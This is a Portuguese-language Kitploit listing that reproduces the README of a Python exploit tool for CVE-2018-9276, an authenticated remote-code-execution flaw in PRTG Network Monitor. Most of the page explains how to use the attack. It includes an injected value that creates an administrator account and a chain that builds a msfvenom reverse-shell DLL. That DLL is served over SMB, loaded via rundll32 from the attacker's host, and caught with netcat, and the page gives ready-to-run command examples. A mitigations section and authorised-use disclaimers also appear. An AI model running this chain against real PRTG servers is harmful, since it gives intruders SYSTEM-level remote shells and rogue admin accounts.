Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/bardlaudian/cve-2018-9276
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload Development
GitHubbardlaudian/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 Authenticated RCE. For educational purposes and authorized penetration testing only.

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 RCE Autenticado

Python CVE Platform

⚠️ Aviso: Esta ferramenta destina-se apenas a fins educacionais e testes de penetração autorizados. Use-a apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado é ilegal.


Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Como Funciona
  • Requisitos
  • Instalação
  • Uso
  • Exemplos
  • Mitigações
  • Referências

Visão Geral

PRTG Network Monitor é uma ferramenta de monitoramento de rede desenvolvida pela Paessler AG. Versões anteriores a 18.2.39 são vulneráveis a uma injeção de comandos autenticada através do recurso de notificações, permitindo que um atacante com credenciais válidas obtenha Execução Remota de Código (RCE) como Sistema Local (a conta de serviço padrão para instalações do PRTG).

Esta vulnerabilidade foi descoberta durante um teste de penetração por Josh Berry e divulgada à Paessler AG, que lançou uma correção em 20 de abril de 2018. Foi atribuída a CVE-2018-9276.


Detalhes da Vulnerabilidade


Como Funciona

O PRTG inclui um sistema de notificações que permite que administradores executem scripts quando certos eventos ocorrem. Para evitar a execução arbitrária de código, o PRTG restringe quais scripts podem ser executados apenas àqueles localizados em um diretório específico no servidor. Por padrão, apenas dois scripts de demonstração estão disponíveis:

  • Demo EXE Notification - OutFile.bat
  • Demo EXE Notification - OutFile.ps1

O Ponto de Injeção

O script de demonstração PowerShell (OutFile.ps1) passa o valor do campo Parameter de uma notificação diretamente para o script sem qualquer sanitização. Isso torna possível injetar comandos arbitrários do PowerShell adicionando-os após um ponto e vírgula:

root@kitploit:~
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add

Quando o PRTG executa a notificação, o comando injetado é executado com privilégios de Sistema Local.

Nota: O script batch (OutFile.bat) não é vulnerável — a Paessler parece sanitizar a entrada antes de passá-la para o arquivo batch. A injeção só funciona através do script .ps1.

Fluxo do Exploit

O exploit automatiza os seguintes passos:

root@kitploit:~
1. Verificar versão do servidor → confirmar que o alvo é vulnerável
2. Autenticar → obter um cookie de sessão válido
3. Encenar uma notificação de arquivo → inicializar um arquivo de saída gravável no alvo
4. Acionar a notificação de arquivo → executá-la via /api/notificationtest.htm
5. Gerar uma DLL de reverse shell → msfvenom (windows/shell_reverse_tcp)
6. Hospedar a DLL → servi-la via SMB a partir da máquina do atacante
7. Encenar uma notificação de comando → injetar rundll32.exe <UNC_PATH>,0 após o arquivo de saída
8. Acionar a notificação de comando → executar a DLL no alvo
9. Capturar o reverse shell → nc -nvlp <LPORT>

Por que rundll32 + SMB?

O PRTG permite apenas que scripts localizados em seu diretório de instalação sejam executados como notificações, portanto não podemos simplesmente fazer upload e executar um binário arbitrário. Em vez disso, nós:

  1. Usamos msfvenom para gerar um reverse shell do Windows como um arquivo .dll.
  2. Hospedamos esse .dll em um compartilhamento SMB na máquina do atacante.
  3. Injetamos um comando rundll32.exe \\atacante\compartilhamento\payload.dll,0 através do parâmetro da notificação PowerShell.

rundll32.exe pode carregar e executar uma DLL a partir de um caminho UNC, contornando a restrição sobre quais arquivos o PRTG pode executar diretamente.


Requisitos

  • Python 3.8+
  • msfvenom (parte do Metasploit Framework)
  • netcat (nc)
  • impacket — necessário apenas para o servidor SMB embutido (opcional, veja --no-smb)
root@kitploit:~
pip install impacket

Se você já possui uma maneira de hospedar a DLL (ex.: impacket-smbserver, exploit/multi/handler do Metasploit, ou outro servidor SMB), pode pular o impacket usando --no-smb e --shell-location.


Instalação

root@kitploit:~
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt   # apenas impacket

Uso

root@kitploit:~
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
                        [--user USER] [--password PASSWORD] [--https]
                        [--no-smb] [--shell-location SHELL_LOCATION] [-v]

options:
  -i, --host            Target IP or hostname
  -p, --port            Target port (e.g. 80 or 443)
  --lhost               Local IP for the reverse shell callback
  --lport               Local port for the reverse shell callback
  --user                PRTG username (default: prtgadmin)
  --password            PRTG password (default: prtgadmin)
  --https               Use HTTPS (self-signed certificates accepted)
  --no-smb              Skip the built-in SMB server (payload already hosted)
  --shell-location      Override the UNC path to the DLL payload
  -v, --verbose         Enable verbose / debug output

Exemplos

Uso básico (HTTP, credenciais padrão)

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444

Alvo HTTPS com credenciais personalizadas

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 443 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --user admin \
  --password Sup3rS3cr3t \
  --https

Pular o servidor SMB embutido (payload hospedado externamente)

root@kitploit:~
# Host the payload yourself first:
impacket-smbserver share /tmp -smb2support

# Then run the exploit pointing to your share:
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --no-smb \
  --shell-location '\\10.10.14.5\share\payload.dll'

Mitigações

  • Atualize o PRTG para a versão 18.2.39 ou posterior — esta é a única correção completa.
  • Altere as credenciais padrão — a vulnerabilidade requer autenticação; credenciais fracas ou padrão (prtgadmin / prtgadmin) reduzem drasticamente a barreira para exploração.
  • Restrinja o acesso à rede à interface web do PRTG (regras de firewall, VPN, etc.).
  • Monitore os logs do PRTG para execuções inesperadas de testes de notificação.

Referências

  • Descoberta Original — CodeWatch (Josh Berry)
  • NVD — CVE-2018-9276
  • Histórico de Correções da Paessler AG
  • PoC Original por wildkindcc
Baixar ferramenta
CampoValor
CVECVE-2018-9276
AfetadoPRTG Network Monitor < 18.2.39
TipoInjeção de Comandos Autenticada
PrivilégiosRequer credenciais PRTG válidas
ImpactoExecução Remota de Código como Sistema Local
Pontuação CVSS7.2 (Alto)
CorreçãoPRTG 18.2.39 (lançado em 20 de abril de 2018)